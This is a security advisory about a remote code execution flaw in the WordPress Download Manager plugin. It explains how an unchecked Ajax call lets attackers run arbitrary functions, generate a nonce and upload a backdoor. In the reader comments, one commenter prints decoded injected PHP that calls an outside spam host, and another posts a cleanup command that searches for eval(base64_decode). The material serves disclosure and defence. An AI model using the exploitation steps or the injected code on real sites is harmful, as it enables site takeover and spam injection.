Skip links

Security Advisory – High Severity– WordPress Download Manager

Security Risk: Very High

Exploitation Level: Easy/Remote

DREAD Score: 9/10

Vulnerability: Code Execution / Remote File Inclusion

Patched Version: <2.7.5

If you’re using the popular WP Download Manager plugin (around 850,000 downloads), you should update right away. During a routine audit for our Website Firewall (WAF), we found a dangerous remote code execution (RCE) and remote file inclusion (RFI) vulnerability. A malicious user can exploit this vulnerability to take control of your website by uploading backdoors and modifying user passwords.

The vulnerability was discovered and disclosed last week and immediately patched by the WP Download Manager. They have released a patch in version 2.7.5 to fix this issue.

What are the Risks?

Any WordPress based website running the WP Download Manager version would be susceptible to remote code execution. Allowing an attacker to inject a backdoor and change important credentials, like admin accounts.

If you use an affected version of this plugin, please update it as soon as possible! Clients on our Website Firewall have been protected from this vulnerability via our Zero Day response mechanism.

Technical Details

The plugin used a custom method to handle certain types of Ajax requests which could be abused by an attacker to call arbitrary functions within the application’s context. There were no permission checks before handling these special Ajax calls. This allowed a malicious individual (with a minimal knowledge of WordPress internals) to inject a backdoor on the remote site or to change the administrator’s password if the name of his account was known. As this function is hooked to the “wp” hook (which is executed every single time somebody visits a post/page), it could be abused by anyone.

The Culprit

The culprit was in the wpdm_ajax_call_exec() function. It is calling a user function provided by the super global variable $_POST[‘execute’], allowing a user to call any function available within the current execution context.

Sucuri- WP-DownloadManager-Ajaxcall
Sucuri- WP-DownloadManager-Ajaxcall

Finding an Interesting Function to Use

In our research for a useful function to call, we found this one really interesting. The wpdm_upload_icon() function allowed us to upload any files we want to the /file-type-icons/ directory.

Sucuri WP DownloadManager - Interesting Function
Sucuri WP DownloadManager – Interesting Function

The check_ajax_referer(‘icon-upload’) call that occurs before any sensitive actions is taken. This would normally prevent anyone without a valid nonce to execute it. That said, as we could execute any function in the application’s context, nothing prevented us from calling the snippet of code generating that particular nonce first.

The Result

To exploit this issue, an attacker would need to generate a valid nonce, and then send a request that calls the wpdm_upload_icons() function to upload his backdoor on it’s target.

Once this done, he might do just about anything he wants with it.

  • nice work 😉

  • Justin

    Any idea if this vulnerability extends to the WordPress Download Manager Pro version?

    • A H M Shahnur Alam

      No, fixed already.

  • A H M Shahnur Alam

    Mickael Nadeau informed me about the security issue. I’ve fixed and released v2.7.5, then he published it here. So, don’t worry, if you already updated to v2.7.5, but if you still using v2.7.4 or lower version, please update ASAP.

    • canuck

      Hopefully you fixed it without insulting all those who are leaving negative feedback on wordpress.org. They are leaving valid criticism – so maybe instead of insulting those who are taking issue with a bad update, take heed of what they are saying to you.

      • A H M Shahnur Alam

        Why would I insult. Every reviews, no matter good or bad, helping me to make this plugin better. But when someone writes a review they should be relevant, like when you face any issue, you should post in support forum first, if you don’t get any support, now can write your review, which will he helpful for the developer and community. If the situation is like this: someone using this plugin for last few year with full satisfaction and after an update when he faced a minor issue, he jumped in, who didn’t even have an account at wordpress.org, now opened an account just to write a irrelevant review without asking for help or even reading forum ( probably he even don’t know where the forum is, but he know where to leave a BAD review ), do you thinks that a fair way of leaving valid criticism or just throwing out anger, who never come here to tell something good for his last few years of good experience, but at first chance of trouble come here to shoot me?

        • canuck

          And you just proved my point. Seriously – anyone can go to wordpress.org and see the reviews and your responses. After reading them I wouldn’t touch anything associated with you because of your attitude towards your own users. Negative or not – they are your customers – treat them with at least a little respect and maybe they will return the favour.

          • A H M Shahnur Alam

            I understand what you saying, but as he is an user of my plugin ( not customer exactly, may be potential customer, even if he is already a customer ), he can’t behave unreasonably. Please read this http://pippinsplugins.com/how-to-leave-a-good-bad-review/ , I hope you will understand the total situation.

    • Can anyone out there give me examples of where “out in the wild” backdoors are placed? I noticed a strange php file in my wp root directory that disappeared after I glanced at it. From looking what the code did (eff I accidentally closed it) it placed a wp-options.php into my /wp-admin/ directory then moved it out to the root directory. I actually reinstalled WordPress after I noticed it and didn’t grab any example code 🙁

      Right now I cleaned out all the base64 code but I’m looking for more backdoors. Has anyone else seen anything suspicious?

  • Yet another reason to read my Sucuri updates first thing in the morning instead of the afternoon. Thanks Mickael, for the heads up…off to look at some client sites. You folks are the best!

  • You rock, guys. Thanks!

  • Wally

    Mickael or AHM Shanur : are YOU NOT the programmer of YOUR OWN Programm?
    Why did you do that? ?

  • dsan

    “That said, as we could execute any function in the application’s
    context, nothing prevented us from calling the snippet of code
    generating that particular nonce first.”

    As far as I can see it is not possible to abuse the wpdm_ajax_call_exec() function to generate a valid nonce first. You would need to call wp_create_nonce(‘icon-upload’).

    The call_user_func($_POST[‘execute’], $_POST); command simply doesn’t allow you to do so.
    This because the $_POST data needs to be an array which at least contains:

    array(action=>’wpdm_ajax_call’,
    execute=>’wp_create_nonce’)

    So you cannot properly pass the argument value ‘icon-upload’ to the wp_create_nonce() function.

  • I have reason to believe that this may have hit my sites. I was curious as to what the base64 was, here it is decoded.

    function file_get_contents_curl($url) {

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_URL, $url);

    curl_setopt($ch, CURLOPT_USERAGENT, “LOCALSAPE”);

    $data = curl_exec($ch);

    curl_close($ch);

    return $data;

    }

    $links = file_get_contents_curl(“http://wpcache-blogger.com/getlinks.php?apicode=lalala44&pageurl=”.urlencode(‘http://’.$_SERVER[‘SERVER_NAME’].$_SERVER[‘REQUEST_URI’]).”&useragent=”.urlencode($_SERVER[‘HTTP_USER_AGENT’]).””);

    echo $links;

    • I’m attempting to clean this up with sed… and I’m not the best at escaping characters or getting sed to work the way I want it too…

      Lets say I want to clean up the mess…

      —————
      grep -lr –include=*.php “eval(base64_decode” /home/username/public_html/wp-content/themes/| xargs sed -i.bak ‘<?php ///* /*//eval(base64_decode(.*));///* /*// ?>//g’
      —————

      I get the following error:
      sed: -e expression #1, char 10: unknown command: `/’

      Crap, I thought everything between single quote was literal and you just escape $.*/[]^ with backslash?

  • Coincidentally I have Download Manager and RevSlider on a production instance. Here are some notes that I’ve thrown down from what I’ve found so far.

    http://pastebin.com/v42Rv9DF

    Includes frommshead.php and the code, 3 files that quarantined by maldec. I also cleaned up all the modified footer.php files. If anyone wants to see the code of the 3 backdoors I found I can always throw them up on pastebin.

  • Mike

    Can we have the way you fix this security hole please. It would be nice to have the diff if we just want to apply the patch. In some case the source code HAS to be modified and I can’t upgrade it now. Thanks